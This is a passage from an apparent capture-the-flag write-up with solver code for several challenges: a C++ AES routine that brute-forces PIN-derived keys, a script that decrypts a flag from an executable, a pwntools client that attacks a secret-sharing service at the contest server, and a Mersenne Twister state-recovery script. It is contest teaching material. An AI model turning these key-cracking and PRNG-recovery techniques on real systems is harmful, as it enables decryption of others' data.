in[], unsigned int inLen, const unsigned char key[]); unsigned char *EncryptCBC(const unsigned char in[], unsigned int inLen, const unsigned char key[], const unsigned char *iv); unsigned char *DecryptCBC(const unsigned char in[], unsigned int inLen, const unsigned char key[], const unsigned char *iv); unsigned char *EncryptCFB(const unsigned char in[], unsigned int inLen, const unsigned char key[], const unsigned char *iv); unsigned char *DecryptCFB(const unsigned char in[], unsigned int inLen, const unsigned char key[], const unsigned char *iv); std::vector<unsigned char> EncryptECB(std::vector<unsigned char> in, std::vector<unsigned char> key); std::vector<unsigned char> DecryptECB(std::vector<unsigned char> in, std::vector<unsigned char> key); std::vector<unsigned char> EncryptCBC(std::vector<unsigned char> in, std::vector<unsigned char> key, std::vector<unsigned char> iv); std::vector<unsigned char> DecryptCBC(std::vector<unsigned char> in, std::vector<unsigned char> key, std::vector<unsigned char> iv); std::vector<unsigned char> EncryptCFB(std::vector<unsigned char> in, std::vector<unsigned char> key, std::vector<unsigned char> iv); std::vector<unsigned char> DecryptCFB(std::vector<unsigned char> in, std::vector<unsigned char> key, std::vector<unsigned char> iv); void printHexArray(unsigned char a[], unsigned int n); void printHexVector(std::vector<unsigned char> a); }; const unsigned char sbox[16][16] = { {0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76}, {0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0}, {0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15}, {0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75}, {0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84}, {0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf}, {0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8}, {0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2}, {0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73}, {0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb}, {0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79}, {0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08}, {0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a}, {0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e}, {0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf}, {0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16}}; const unsigned char inv_sbox[16][16] = { {0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb}, {0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb}, {0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e}, {0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x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x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d}}; /// Galois Multiplication lookup tables static const unsigned char GF_MUL_TABLE[15][256] = { {}, {}, // mul 2 {0x00, 0x02, 0x04, 0x06, 0x08, 0x0a, 0x0c, 0x0e, 0x10, 0x12, 0x14, 0x16, 0x18, 0x1a, 0x1c, 0x1e, 0x20, 0x22, 0x24, 0x26, 0x28, 0x2a, 0x2c, 0x2e, 0x30, 0x32, 0x34, 0x36, 0x38, 0x3a, 0x3c, 0x3e, 0x40, 0x42, 0x44, 0x46, 0x48, 0x4a, 0x4c, 0x4e, 0x50, 0x52, 0x54, 0x56, 0x58, 0x5a, 0x5c, 0x5e, 0x60, 0x62, 0x64, 0x66, 0x68, 0x6a, 0x6c, 0x6e, 0x70, 0x72, 0x74, 0x76, 0x78, 0x7a, 0x7c, 0x7e, 0x80, 0x82, 0x84, 0x86, 0x88, 0x8a, 0x8c, 0x8e, 0x90, 0x92, 0x94, 0x96, 0x98, 0x9a, 0x9c, 0x9e, 0xa0, 0xa2, 0xa4, 0xa6, 0xa8, 0xaa, 0xac, 0xae, 0xb0, 0xb2, 0xb4, 0xb6, 0xb8, 0xba, 0xbc, 0xbe, 0xc0, 0xc2, 0xc4, 0xc6, 0xc8, 0xca, 0xcc, 0xce, 0xd0, 0xd2, 0xd4, 0xd6, 0xd8, 0xda, 0xdc, 0xde, 0xe0, 0xe2, 0xe4, 0xe6, 0xe8, 0xea, 0xec, 0xee, 0xf0, 0xf2, 0xf4, 0xf6, 0xf8, 0xfa, 0xfc, 0xfe, 0x1b, 0x19, 0x1f, 0x1d, 0x13, 0x11, 0x17, 0x15, 0x0b, 0x09, 0x0f, 0x0d, 0x03, 0x01, 0x07, 0x05, 0x3b, 0x39, 0x3f, 0x3d, 0x33, 0x31, 0x37, 0x35, 0x2b, 0x29, 0x2f, 0x2d, 0x23, 0x21, 0x27, 0x25, 0x5b, 0x59, 0x5f, 0x5d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 0xa2, 0xac, 0xbe, 0xb0, 0xea, 0xe4, 0xf6, 0xf8, 0xd2, 0xdc, 0xce, 0xc0, 0x7a, 0x74, 0x66, 0x68, 0x42, 0x4c, 0x5e, 0x50, 0x0a, 0x04, 0x16, 0x18, 0x32, 0x3c, 0x2e, 0x20, 0xec, 0xe2, 0xf0, 0xfe, 0xd4, 0xda, 0xc8, 0xc6, 0x9c, 0x92, 0x80, 0x8e, 0xa4, 0xaa, 0xb8, 0xb6, 0x0c, 0x02, 0x10, 0x1e, 0x34, 0x3a, 0x28, 0x26, 0x7c, 0x72, 0x60, 0x6e, 0x44, 0x4a, 0x58, 0x56, 0x37, 0x39, 0x2b, 0x25, 0x0f, 0x01, 0x13, 0x1d, 0x47, 0x49, 0x5b, 0x55, 0x7f, 0x71, 0x63, 0x6d, 0xd7, 0xd9, 0xcb, 0xc5, 0xef, 0xe1, 0xf3, 0xfd, 0xa7, 0xa9, 0xbb, 0xb5, 0x9f, 0x91, 0x83, 0x8d}}; /// circulant MDS matrix static const unsigned char CMDS[4][4] = { {2, 3, 1, 1}, {1, 2, 3, 1}, {1, 1, 2, 3}, {3, 1, 1, 2}}; /// Inverse circulant MDS matrix static const unsigned char INV_CMDS[4][4] = { {14, 11, 13, 9}, {9, 14, 11, 13}, {13, 9, 14, 11}, {11, 13, 9, 14}}; AES::AES(const AESKeyLength keyLength) { switch (keyLength) { case AESKeyLength::AES_128: this->Nk = 4; this->Nr = 10; break; case AESKeyLength::AES_192: this->Nk = 6; this->Nr = 12; break; case AESKeyLength::AES_256: this->Nk = 8; this->Nr = 14; break; } } unsigned char *AES::EncryptECB(const unsigned char in[], unsigned int inLen, const unsigned char key[]) { CheckLength(inLen); unsigned char *out = new unsigned char[inLen]; unsigned char *roundKeys = new unsigned char[4 * Nb * (Nr + 1)]; KeyExpansion(key, roundKeys); for (unsigned int i = 0; i < inLen; i += blockBytesLen) { EncryptBlock(in + i, out + i, roundKeys); } delete[] roundKeys; return out; } unsigned char *AES::DecryptECB(const unsigned char in[], unsigned int inLen, const unsigned char key[]) { CheckLength(inLen); unsigned char *out = new unsigned char[inLen]; unsigned char *roundKeys = new unsigned char[4 * Nb * (Nr + 1)]; KeyExpansion(key, roundKeys); for (unsigned int i = 0; i < inLen; i += blockBytesLen) { DecryptBlock(in + i, out + i, roundKeys); } delete[] roundKeys; return out; } unsigned char *AES::EncryptCBC(const unsigned char in[], unsigned int inLen, const unsigned char key[], const unsigned char *iv) { CheckLength(inLen); unsigned char *out = new unsigned char[inLen]; unsigned char block[blockBytesLen]; unsigned char *roundKeys = new unsigned char[4 * Nb * (Nr + 1)]; KeyExpansion(key, roundKeys); memcpy(block, iv, blockBytesLen); for (unsigned int i = 0; i < inLen; i += blockBytesLen) { XorBlocks(block, in + i, block, blockBytesLen); EncryptBlock(block, out + i, roundKeys); memcpy(block, out + i, blockBytesLen); } delete[] roundKeys; return out; } unsigned char *AES::DecryptCBC(const unsigned char in[], unsigned int inLen, const unsigned char key[], const unsigned char *iv) { CheckLength(inLen); unsigned char *out = new unsigned char[inLen]; unsigned char block[blockBytesLen]; unsigned char *roundKeys = new unsigned char[4 * Nb * (Nr + 1)]; KeyExpansion(key, roundKeys); memcpy(block, iv, blockBytesLen); for (unsigned int i = 0; i < inLen; i += blockBytesLen) { DecryptBlock(in + i, out + i, roundKeys); XorBlocks(block, out + i, out + i, blockBytesLen); memcpy(block, in + i, blockBytesLen); } delete[] roundKeys; return out; } unsigned char *AES::EncryptCFB(const unsigned char in[], unsigned int inLen, const unsigned char key[], const unsigned char *iv) { CheckLength(inLen); unsigned char *out = new unsigned char[inLen]; unsigned char block[blockBytesLen]; unsigned char encryptedBlock[blockBytesLen]; unsigned char *roundKeys = new unsigned char[4 * Nb * (Nr + 1)]; KeyExpansion(key, roundKeys); memcpy(block, iv, blockBytesLen); for (unsigned int i = 0; i < inLen; i += blockBytesLen) { EncryptBlock(block, encryptedBlock, roundKeys); XorBlocks(in + i, encryptedBlock, out + i, blockBytesLen); memcpy(block, out + i, blockBytesLen); } delete[] roundKeys; return out; } unsigned char *AES::DecryptCFB(const unsigned char in[], unsigned int inLen, const unsigned char key[], const unsigned char *iv) { CheckLength(inLen); unsigned char *out = new unsigned char[inLen]; unsigned char block[blockBytesLen]; unsigned char encryptedBlock[blockBytesLen]; unsigned char *roundKeys = new unsigned char[4 * Nb * (Nr + 1)]; KeyExpansion(key, roundKeys); memcpy(block, iv, blockBytesLen); for (unsigned int i = 0; i < inLen; i += blockBytesLen) { EncryptBlock(block, encryptedBlock, roundKeys); XorBlocks(in + i, encryptedBlock, out + i, blockBytesLen); memcpy(block, in + i, blockBytesLen); } delete[] roundKeys; return out; } void AES::CheckLength(unsigned int len) { if (len % blockBytesLen != 0) { throw std::length_error("Plaintext length must be divisible by " + std::to_string(blockBytesLen)); } } void AES::EncryptBlock(const unsigned char in[], unsigned char out[], unsigned char *roundKeys) { unsigned char state[4][Nb]; unsigned int i, j, round; for (i = 0; i < 4; i++) { for (j = 0; j < Nb; j++) { state[i][j] = in[i + 4 * j]; } } AddRoundKey(state, roundKeys); for (round = 1; round <= Nr - 1; round++) { SubBytes(state); ShiftRows(state); MixColumns(state); AddRoundKey(state, roundKeys + round * 4 * Nb); } SubBytes(state); ShiftRows(state); AddRoundKey(state, roundKeys + Nr * 4 * Nb); for (i = 0; i < 4; i++) { for (j = 0; j < Nb; j++) { out[i + 4 * j] = state[i][j]; } } } void AES::DecryptBlock(const unsigned char in[], unsigned char out[], unsigned char *roundKeys) { unsigned char state[4][Nb]; unsigned int i, j, round; for (i = 0; i < 4; i++) { for (j = 0; j < Nb; j++) { state[i][j] = in[i + 4 * j]; } } AddRoundKey(state, roundKeys + Nr * 4 * Nb); for (round = Nr - 1; round >= 1; round--) { InvSubBytes(state); InvShiftRows(state); AddRoundKey(state, roundKeys + round * 4 * Nb); InvMixColumns(state); } InvSubBytes(state); InvShiftRows(state); AddRoundKey(state, roundKeys); for (i = 0; i < 4; i++) { for (j = 0; j < Nb; j++) { out[i + 4 * j] = state[i][j]; } } } void AES::SubBytes(unsigned char state[4][Nb]) { unsigned int i, j; unsigned char t; for (i = 0; i < 4; i++) { for (j = 0; j < Nb; j++) { t = state[i][j]; state[i][j] = sbox[t / 16][t % 16]; } } } void AES::ShiftRow(unsigned char state[4][Nb], unsigned int i, unsigned int n) // shift row i on n positions { unsigned char tmp[Nb]; for (unsigned int j = 0; j < Nb; j++) { tmp[j] = state[i][(j + n) % Nb]; } memcpy(state[i], tmp, Nb * sizeof(unsigned char)); } void AES::ShiftRows(unsigned char state[4][Nb]) { ShiftRow(state, 1, 1); ShiftRow(state, 2, 2); ShiftRow(state, 3, 3); } unsigned char AES::xtime(unsigned char b) // multiply on x { return (b << 1) ^ (((b >> 7) & 1) * 0x1b); } void AES::MixColumns(unsigned char state[4][Nb]) { unsigned char temp_state[4][Nb]; for (size_t i = 0; i < 4; ++i) { memset(temp_state[i], 0, 4); } for (size_t i = 0; i < 4; ++i) { for (size_t k = 0; k < 4; ++k) { for (size_t j = 0; j < 4; ++j) { if (CMDS[i][k] == 1) temp_state[i][j] ^= state[k][j]; else temp_state[i][j] ^= GF_MUL_TABLE[CMDS[i][k]][state[k][j]]; } } } for (size_t i = 0; i < 4; ++i) { memcpy(state[i], temp_state[i], 4); } } void AES::AddRoundKey(unsigned char state[4][Nb], unsigned char *key) { unsigned int i, j; for (i = 0; i < 4; i++) { for (j = 0; j < Nb; j++) { state[i][j] = state[i][j] ^ key[i + 4 * j]; } } } void AES::SubWord(unsigned char *a) { int i; for (i = 0; i < 4; i++) { a[i] = sbox[a[i] / 16][a[i] % 16]; } } void AES::RotWord(unsigned char *a) { unsigned char c = a[0]; a[0] = a[1]; a[1] = a[2]; a[2] = a[3]; a[3] = c; } void AES::XorWords(unsigned char *a, unsigned char *b, unsigned char *c) { int i; for (i = 0; i < 4; i++) { c[i] = a[i] ^ b[i]; } } void AES::Rcon(unsigned char *a, unsigned int n) { unsigned int i; unsigned char c = 1; for (i = 0; i < n - 1; i++) { c = xtime(c); } a[0] = c; a[1] = a[2] = a[3] = 0; } void AES::KeyExpansion(const unsigned char key[], unsigned char w[]) { unsigned char temp[4]; unsigned char rcon[4]; unsigned int i = 0; while (i < 4 * Nk) { w[i] = key[i]; i++; } i = 4 * Nk; while (i < 4 * Nb * (Nr + 1)) { temp[0] = w[i - 4 + 0]; temp[1] = w[i - 4 + 1]; temp[2] = w[i - 4 + 2]; temp[3] = w[i - 4 + 3]; if (i / 4 % Nk == 0) { RotWord(temp); SubWord(temp); Rcon(rcon, i / (Nk * 4)); XorWords(temp, rcon, temp); } else if (Nk > 6 && i / 4 % Nk == 4) { SubWord(temp); } w[i + 0] = w[i - 4 * Nk] ^ temp[0]; w[i + 1] = w[i + 1 - 4 * Nk] ^ temp[1]; w[i + 2] = w[i + 2 - 4 * Nk] ^ temp[2]; w[i + 3] = w[i + 3 - 4 * Nk] ^ temp[3]; i += 4; } } void AES::InvSubBytes(unsigned char state[4][Nb]) { unsigned int i, j; unsigned char t; for (i = 0; i < 4; i++) { for (j = 0; j < Nb; j++) { t = state[i][j]; state[i][j] = inv_sbox[t / 16][t % 16]; } } } void AES::InvMixColumns(unsigned char state[4][Nb]) { unsigned char temp_state[4][Nb]; for (size_t i = 0; i < 4; ++i) { memset(temp_state[i], 0, 4); } for (size_t i = 0; i < 4; ++i) { for (size_t k = 0; k < 4; ++k) { for (size_t j = 0; j < 4; ++j) { temp_state[i][j] ^= GF_MUL_TABLE[INV_CMDS[i][k]][state[k][j]]; } } } for (size_t i = 0; i < 4; ++i) { memcpy(state[i], temp_state[i], 4); } } void AES::InvShiftRows(unsigned char state[4][Nb]) { ShiftRow(state, 1, Nb - 1); ShiftRow(state, 2, Nb - 2); ShiftRow(state, 3, Nb - 3); } void AES::XorBlocks(const unsigned char *a, const unsigned char *b, unsigned char *c, unsigned int len) { for (unsigned int i = 0; i < len; i++) { c[i] = a[i] ^ b[i]; } } void AES::printHexArray(unsigned char a[], unsigned int n) { for (unsigned int i = 0; i < n; i++) { printf("%02x ", a[i]); } } void AES::printHexVector(std::vector<unsigned char> a) { for (unsigned int i = 0; i < a.size(); i++) { printf("%02x ", a[i]); } } std::vector<unsigned char> AES::ArrayToVector(unsigned char *a, unsigned int len) { std::vector<unsigned char> v(a, a + len * sizeof(unsigned char)); return v; } unsigned char *AES::VectorToArray(std::vector<unsigned char> &a) { return a.data(); } std::vector<unsigned char> AES::EncryptECB(std::vector<unsigned char> in, std::vector<unsigned char> key) { unsigned char *out = EncryptECB(VectorToArray(in), (unsigned int)in.size(), VectorToArray(key)); std::vector<unsigned char> v = ArrayToVector(out, in.size()); delete[] out; return v; } std::vector<unsigned char> AES::DecryptECB(std::vector<unsigned char> in, std::vector<unsigned char> key) { unsigned char *out = DecryptECB(VectorToArray(in), (unsigned int)in.size(), VectorToArray(key)); std::vector<unsigned char> v = ArrayToVector(out, (unsigned int)in.size()); delete[] out; return v; } std::vector<unsigned char> AES::EncryptCBC(std::vector<unsigned char> in, std::vector<unsigned char> key, std::vector<unsigned char> iv) { unsigned char *out = EncryptCBC(VectorToArray(in), (unsigned int)in.size(), VectorToArray(key), VectorToArray(iv)); std::vector<unsigned char> v = ArrayToVector(out, in.size()); delete[] out; return v; } std::vector<unsigned char> AES::DecryptCBC(std::vector<unsigned char> in, std::vector<unsigned char> key, std::vector<unsigned char> iv) { unsigned char *out = DecryptCBC(VectorToArray(in), (unsigned int)in.size(), VectorToArray(key), VectorToArray(iv)); std::vector<unsigned char> v = ArrayToVector(out, (unsigned int)in.size()); delete[] out; return v; } std::vector<unsigned char> AES::EncryptCFB(std::vector<unsigned char> in, std::vector<unsigned char> key, std::vector<unsigned char> iv) { unsigned char *out = EncryptCFB(VectorToArray(in), (unsigned int)in.size(), VectorToArray(key), VectorToArray(iv)); std::vector<unsigned char> v = ArrayToVector(out, in.size()); delete[] out; return v; } std::vector<unsigned char> AES::DecryptCFB(std::vector<unsigned char> in, std::vector<unsigned char> key, std::vector<unsigned char> iv) { unsigned char *out = DecryptCFB(VectorToArray(in), (unsigned int)in.size(), VectorToArray(key), VectorToArray(iv)); std::vector<unsigned char> v = ArrayToVector(out, (unsigned int)in.size()); delete[] out; return v; } int main() { #pragma omp parallel { unsigned char buf[0x30]; std::vector<unsigned char> iv = { 74, 5, 39, 60, 99, 152, 217, 132, 236, 7, 179, 47, 206, 168, 40, 21 }; std::vector<unsigned char> data = { 183, 79, 155, 69, 37, 132, 75, 174, 17, 176, 202, 61, 3, 154, 240, 188, 198, 218, 160, 211, 13, 12, 183, 157, 11, 228, 141, 95, 222, 112, 196, 138, 106, 23, 28, 16, 52, 203, 180, 225, 113, 122, 216, 194, 6, 113, 107, 102 }; std::vector<unsigned char> key = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; AES aes(AESKeyLength::AES_256); class SHA384 sha384; #pragma omp for for(int i = 100000; i < 1000000; i++) { //std::cout << "Trying PIN " << i << std::endl; std::string cur = std::to_string(i); for(int j = 0; j < 100000; j++) { cur = sha384.hash(cur); } key.clear(); for(int j = 0; j < 0x20; j++) key.emplace_back(cur[j]); std::vector<unsigned char> out = aes.DecryptCBC(data, key, iv); std::string s(out.begin(), out.end()); if(strstr(s.c_str(), "ISITDTU")) { for(int j = 0; j < 10000; j++) { std::cout << s << std::endl; } exit(0); } } } } ``` ### The Chamber of Flag ![image](https://hackmd.io/_uploads/BJaRSnsekx.png) ```py= from hashlib import sha256 from Crypto.Cipher import AES secret = b"808017" key = sha256(secret).digest() exe_file = open("./TheChamberOfFlag.exe", "rb").read() IV = exe_file[0x4cd8:0x4ce8] data = b"" for i in range(4): data += exe_file[0x4d04+20*i:][:16] print(AES.new(key, AES.MODE_CBC, IV).decrypt(data)) ``` ## Cryptography ### ShareMixer1 choose `xs = [pow(a, i, p) for i in range(k)]` where `pow(a, k, p)=1` ### ShareMixer2 ```py= from sage.all import * from pwn import * from pwnlib.util.iters import mbruteforce import ast from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes import time import hashlib import sys import string def solve_pow(prefix): def is_valid(suffix): return hashlib.sha256((prefix + suffix).encode()).hexdigest().startswith("000000") return mbruteforce(is_valid, length=8, alphabet=string.ascii_letters + string.digits) context.log_level = "debug" while True: while True: # nc 35.187.238.100 5001 io = remote("35.187.238.100", 5002) # io.recvuntil(b"Send a suffix that: \n") # chall = io.recvline().strip().decode() # prefix = chall.split("sha256(\"")[1].split("\" + ")[0] # suffix = str(solve_pow(prefix)) # io.sendline(suffix.encode()) # io.recvuntil(b"Suffix:") # io = process(["python3", "chall2.py"]) p = int(io.recvline().split(b" = ")[1]) if p % 32 != 1: io.close() continue else: break for g in range(2, 999): if pow(g, (p-1)//2, p) == 1: continue a = pow(g, (p-1)//32, p) if a != 1: break xs = [pow(a, i, p) for i in range(32)] io.sendlineafter("Gib me the queries:", " ".join(str(x) for x in xs)) shares = ast.literal_eval(io.recvline().split(b" = ")[1].strip().decode()) # print(f"{shares = }") io.close() s = sum(shares) * pow(32, -1, p) % p print(f"{s = }") s = long_to_bytes(s) try: print(s.decode()) break except: print(s) continue ``` ### thats so random ```py= import os import json os.chdir(os.path.dirname(os.path.abspath(__file__))) with open("pairing.txt") as f: data = json.load(f) vertices = set() for pair in data: for i in range(3): vertices.add(pair[i]) state_idx = [None] * (max(vertices)+1) state_idx[0] = 0 raw_data = data[:] # 0 396 623 def set_idx(idx, val): if state_idx[idx] is None: state_idx[idx] = val else: assert state_idx[idx] == val for i in range(10000): if i % 100 == 0: print(i) for pair in data: if state_idx[pair[0]] is not None: set_idx(pair[1], state_idx[pair[0]] + 396) set_idx(pair[2], state_idx[pair[0]] + 623) if state_idx[pair[1]] is not None: set_idx(pair[0], state_idx[pair[1]] - 396) set_idx(pair[2], state_idx[pair[1]] + 623 - 396) if state_idx[pair[2]] is not None: set_idx(pair[0], state_idx[pair[2]] - 623) set_idx(pair[1], state_idx[pair[2]] - 623 + 396) newdata = [] for pair in data: if state_idx[pair[0]] is None or state_idx[pair[1]] is None or state_idx[pair[2]] is None: newdata.append(pair) data = newdata # with open("idx_map.txt", "w") as f: # f.write(json.dumps(state_idx)) ``` ```py= from Crypto.Util.number import * class Mt19937: w, n, m, r = (32, 624, 397, 31) a = 0x9908B0DF u, d = (11, 0xFFFFFFFF) s, b = (7, 0x9D2C5680) t, c = (15, 0xEFC60000) l = 18 mask = (1 << w) - 1 lowerMask = (1 << r) - 1 upperMask = mask ^ lowerMask f = 1812433253 def __init__(self): self.state = [None] * Mt19937.n self.index = Mt19937.n def _init_genrand(self, seed): xor_shift = lambda x: x ^ (x >> 30) self.state[0] = seed for i in range(1, Mt19937.n): self.state[i] = (1812433253 * xor_shift(self.state[i - 1]) + i) & Mt19937.mask self.index = Mt19937.n def _init_by_array(self, key): xor_shift = lambda x: x ^ (x >> 30) self._init_genrand(19650218) i, j = 1, 0 k = max(Mt19937.n, len(key)) while k > 0: self.state[i] = (self.state[i] ^ (xor_shift(self.state[i - 1]) * 1664525)) + key[j] + j self.state[i] &= Mt19937.mask i += 1 j += 1 if i >= Mt19937.n: self.state[0] = self.state[Mt19937.n - 1] i = 1 if j >= len(key): j = 0 k -= 1 k = Mt19937.n - 1 while k > 0: k -= 1 self.state[i] = (self.state[i] ^ (xor_shift(self.state[i - 1]) * 1566083941)) - i self.state[i] &= Mt19937.mask i += 1 if i >= Mt19937.n: self.state[0] = self.state[Mt19937.n - 1] i = 1 self.state[0] = 0x80000000 def seed(self, seed: int, version: str = "python"): if version == "c": self.state = [seed] for i in range(1, self.n): self.state.append(Mt19937.mask & (i + Mt19937.f * (self.state[i-1] ^ (self.state[i-1] >> (self.w - 2))))) elif version == "python": key = [] while seed: key.append(seed & Mt19937.mask) seed >>= Mt19937.w self._init_by_array(key) _ = Mt19937() _._init_genrand(19650218) assert _.index == 624 init_state = _.state[:] _ = Mt19937() _.seed(0x1234567890abcdefbabecafedeadbeef) state = _.state[:] # state = [3717481680, 3944879426, 1479935385, 1223324338, 2747094275, 508272192, 1242630860, 2819796428, 2171698793, 3069159730, 3366900164, 1771022193, 832213548, 1787121189, 3002084297, 3835791607, 340972096, 302366128, 983970111, 2048764187, 1909714222, 2323051696, 1426317767, 4239486902, 124304369, 766216988, 2079877629, 2880894265, 4166147061, 2285228255, 3709671105, 2262451453, 4052699701, 2727381233, 2902885848, 3029098107, 2581236194, 3369599990, 1509570323, 4289454681, 1539517839, 2958568723, 4201660984, 482069171, 2797722706, 1583263757, 2240280298, 3138576530, 2705110689, 302991598, 1633483838, 3003041038, 2670749728, 2871582427, 649635647, 2487593006, 2946837776, 3620588431, 3681879160, 2349353652, 1594712330, 1911881773, 1595966640, 1827393487, 300853339, 2883003322, 3724032488, 2993719127, 1512747243, 3538322204, 3414161057, 3454965495, 800958530, 667728117, 1531493929, 2196059462, 28175243, 385848592, 3438790367, 1323669312, 3625962378, 2569813750, 2525523080, 443374424, 4017893018, 2313012938, 95514237, 2136444630, 3216404935, 1881559536, 177989893, 3018883290, 576023199, 3479033178, 4056019838, 1134953253, 2258403390, 3248416134, 1447953272, 1626532190, 3893223374, 952075411, 3911836644, 2849290498, 4026429133, 3001113561, 2340726054, 4279569971, 3778374836, 3243812303, 4013277454, 1970268866, 3661932688, 94779436, 2806214543, 2752365420, 1698224662, 2948073813, 3759548107, 1379623488, 2931224395, 3510206550, 342965230, 285515994, 1937915822, 1283573859, 794297789, 103882253, 3024413641, 3160483836, 3658454223, 4126648579, 4039653723, 399836926, 1637233298, 3475203654, 1227982948, 307137449, 853949362, 4239158567, 3014368388, 3730259788, 2490968518, 423859757, 2787390507, 3498831267, 2300121637, 3616734819, 2570612703, 2395857910, 1649210298, 1603071229, 1601938922, 1782776653, 303239567, 365567187, 3576083008, 2102345969, 3539837807, 2549612225, 3762057806, 1227140705, 2626448952, 1588131818, 3177962796, 1724256826, 3548767777, 1635798318, 850821351, 24523475, 2724140580, 371689493, 3191351539, 3512766135, 1524587008, 290129850, 3235485277, 3530645043, 676605984, 2152656319, 3613089570, 566084216, 245823287, 2409776308, 1275878812, 2446460827, 1031921914, 3183018028, 3254468961, 1876702794, 617679564, 3979490572, 2385414684, 2432853341, 1397320417, 1615365773, 1562750131, 377057908, 3472358341, 133544298, 1708087179, 1848122983, 3206499534, 929850514, 3798092030, 1682683307, 154193613, 3904983561, 3872722832, 210929649, 103332256, 396924021, 697229928, 1732799158, 2232818481, 2976202911, 2135260851, 716038804, 1602314247, 433442641, 3369692430, 73193197, 2153775087, 2496138020, 4187448456, 2304016313, 685088362, 2175498813, 4247623861, 3423869992, 4228339737, 1187430136, 3560504381, 392531832, 810971367, 1495111840, 832168178, 1196493547, 1119791406, 3390821852, 183405297, 3273250386, 1512500154, 2580166529, 1845488975, 3125705174, 50653624, 4014279969, 1060043265, 2506917303, 4114449552, 145076879, 138683971, 3022831306, 195048328, 2710401631, 628079075, 1657964999, 4207654470, 1756632722, 3449400017, 925495312, 3326179120, 735880942, 1386338028, 1171811144, 2357735780, 3256307877, 2382194334, 2171352765, 2935641692, 3116740819, 144057158, 3455263534, 1075199474, 3055304485, 2621415016, 533703099, 4194070570, 2732042389, 549108038, 1513530471, 3780332288, 2792477150, 1194424330, 2056794877, 4187998233, 707412346, 1654875407, 2363428899, 1261045826, 1578124333, 231811960, 2290224495, 28294407, 4258259432, 3665470451, 812875241, 2028661818, 856382304, 401373245, 1522737209, 3817167666, 2246074659, 2694749831, 3191849500, 2266940405, 2410985109, 3022353117, 2221484536, 2702666851, 2610888197, 142188456, 1533403883, 1723947646, 3811902386, 2114592771, 126699715, 2604446563, 2742856750, 3988443029, 554181194, 4052321742, 3098834164, 212857042, 1573232425, 1532424240, 4181988863, 395867892, 1180400515, 1121722692, 2481749768, 3583579380, 3789712298, 796178814, 522364933, 875637123, 4165991820, 1678783672, 2906231921, 592083735, 1627872347, 4024317521, 3886362086, 576858073, 1153297093, 3509985548, 2436284079, 356291690, 1629516151, 2151249290, 3975605417, 3239425728, 3008096463, 831660746, 2327853631, 2375894261, 3780986303, 853467011, 1723018569, 1841884200, 1768327184, 4119989060, 3160585029, 1335806631, 3385195222, 1482500566, 3765109032, 2927349334, 1263291335, 395128533, 3806626650, 3039053736, 3230368927, 1799177376, 2331849477, 1581107736, 1419789599, 4149561358, 1564416839, 1956512108, 816589, 4087030042, 884954723, 4213402315, 2829361879, 2639547911, 4108904793, 1465565861, 2932372432, 3003817829, 2900930581, 3152838028, 1139852527, 4100398482, 1491947985, 1481860094, 619198763, 2642224631, 879073723, 3377945385, 3118816365, 1691269056, 1840021901, 2661424769, 302507238, 2111285747, 924532049, 2781318342, 2460468069, 1433205040, 2968083654, 